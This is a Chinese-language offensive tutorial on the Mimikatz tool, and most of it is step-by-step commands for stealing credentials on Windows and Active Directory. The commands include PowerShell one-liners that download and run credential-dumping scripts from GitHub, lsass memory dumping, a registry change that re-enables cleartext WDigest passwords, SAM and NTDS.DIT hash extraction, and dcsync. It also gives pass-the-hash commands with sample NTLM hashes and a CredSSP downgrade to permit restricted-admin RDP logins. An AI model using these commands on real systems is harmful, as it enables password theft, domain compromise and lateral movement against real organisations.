mimikatz
一、介绍
Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码,lsass 是微软 Windows 系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass 内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对 lsass 逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!
注:但是在安装了 KB2871997 补丁或者系统版本大于 windows server 2012 时,系统的内存中就不再保存明文的密码,这样利用 mimikatz 就不能从内存中读出明文密码了。mimikatz 的使用需要 administrator 用户执行,administrators 中的其他用户都不行。
这里放几个神器的运行姿势:九种姿势运行:Mimikatz:https://www.freebuf.com/articles/web/176796.html
借用 PowerShell
读取密码明文(需要管理员权限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
读取密码hash值(需要管理员权限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
二、使用
2.1 获取本地账号密码
#提升权限
privilege::debug
#抓取密码
sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
当目标为 win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
2008server:可以看到明文密码
12server:看不到明文密码
cmd 修改注册表命令:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
重启或用户重新登录后可以成功抓取
SAM表获取hash
#导出SAM数据
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
#使用mimikatz提取hash
lsadump::sam /sam:SAM /system:SYSTEM
2.2 Procdump+Mimikatz
下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
当 mimikatz 无法在主机上运行时,可以使用微软官方发布的工具 Procdump 导出 lsass.exe:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
将 lsass.dmp 下载到本地后,然后执行 mimikatz:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
为了方便复制与查看,可以输出到本地文件里面:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt
2.3读取域控中域成员hash
2.3.1域控本地读取
注:得在域控上以域管理员身份执行 mimikatz
方法一:直接执行
#提升权限
privilege::debug
#抓取密码
lsadump::lsa /patch
方法二:通过 dcsync
利用目录复制服务(DRS)从 NTDS.DIT 文件中检索密码哈希值,可以在域管权限下执行获取:
获取所有域用户
指定获取某个用户的hash
lsadump::dcsync /domain:test.com /user:test
lsadump::dcsync /domain:test.com /all /csv
指定获取某个用户的hash
lsadump::dcsync /domain:test.com /user:test
2.3.2导出域成员hash
域账户的用户名和 hash 密码以域数据库的形式存放在域控制器的%SystemRoot%\ntds\NTDS.DIT
文件中。
这里可以借助:ntdsutil.exe,域控制器自带的域数据库管理工具,我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:
ntdsutil域控自带:运行-ntdsutil
,可使用ntdsutil ?
查看帮助
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
之后在C:\ntdsutil
中将生成两个新文件夹:Active Directory
和Registry
:
NTDS.DIT文件将保存在Active Directory中,SAM和SYSTEM文件将保存到Registry文件夹中,利用 impacket 脚本 dump 出 Hash:
NTDSDumpEx.exe -d ntds.dit -s SYSTEM -o domain.txt
2.4哈希传递攻击PTH
2.4.1工作组环境
当我们获得了一台主机的 NTLM 哈希值,我们可以使用 mimikatz 对其进行哈希传递攻击。执行完命令后,会弹出 cmd 窗口。
使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:administrator /domain:192.168.1.16 /ntlm:4e7668311ae879ec1946bd88d179fbaf
在弹出的 cmd 窗口,我们直接可以连接该主机查看该主机下的文件夹。
2.4.2域环境
在域环境中,当我们获得了域内用户的 NTLM 哈希值,我们可以使用域内的一台主机用mimikatz 对域控进行哈希传递攻击。执行完命令后,会弹出 cmd 窗口。前提是我们必须拥有域内任意一台主机的本地 administrator 权限和获得了域用户的 NTLM 哈希值
#使用域管理员administrator的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:administrator /domain:192.168.1.16 /ntlm:4e7668311ae879ec1946bd88d179fbaf
在本地计算机12server使用mimikatz登陆远程主机
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.1.12 /ntlm:cac8f236f7a5ebbd80db7df164231ec8 "/run:mstsc.exe /restrictedadmin"
发现登录不了,因为正常win-2008-R2是没有受限管理员模式的
使用08server登录12server,也无法成功
sekurlsa::pth /user:administrator /domain:192.168.1.16 /ntlm:4e7668311ae879ec1946bd88d179fbaf "/run:mstsc.exe /restrictedadmin"
08server-dc下载补丁KB2984972
12server登录08server-dc直接成功
08server-dc登录12server继续失败
这是因为微软系统补丁的更新将 CredSSP 身份验证协议的默认设置进行了调整,由“易受攻击”,修改为“已缓解”,从而导致远程桌面连接失败。
很多文章是这样解决的,打开组策略编辑-计算机配置----管理模板-----系统---凭据分配---加密数据库修正--改为以启用---易受攻击,但实际发现根本找不到"加密数据库修正"这一项,这时候需要新增注册表文件夹路径:
[HKEY_LOCAL_MACHINE]\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters
一般打开到System目录就没有文件了,右击System,新建项并命名为CredSSP,然后右击CredSSP,新建项并命名为Parameters。然后右击Parameters,新建“DWORD(32)位”,命名为 AllowEncryptionOracle ,并将其数值数据修改为2,无需重启,然后就可以成功登录了,实测链接成功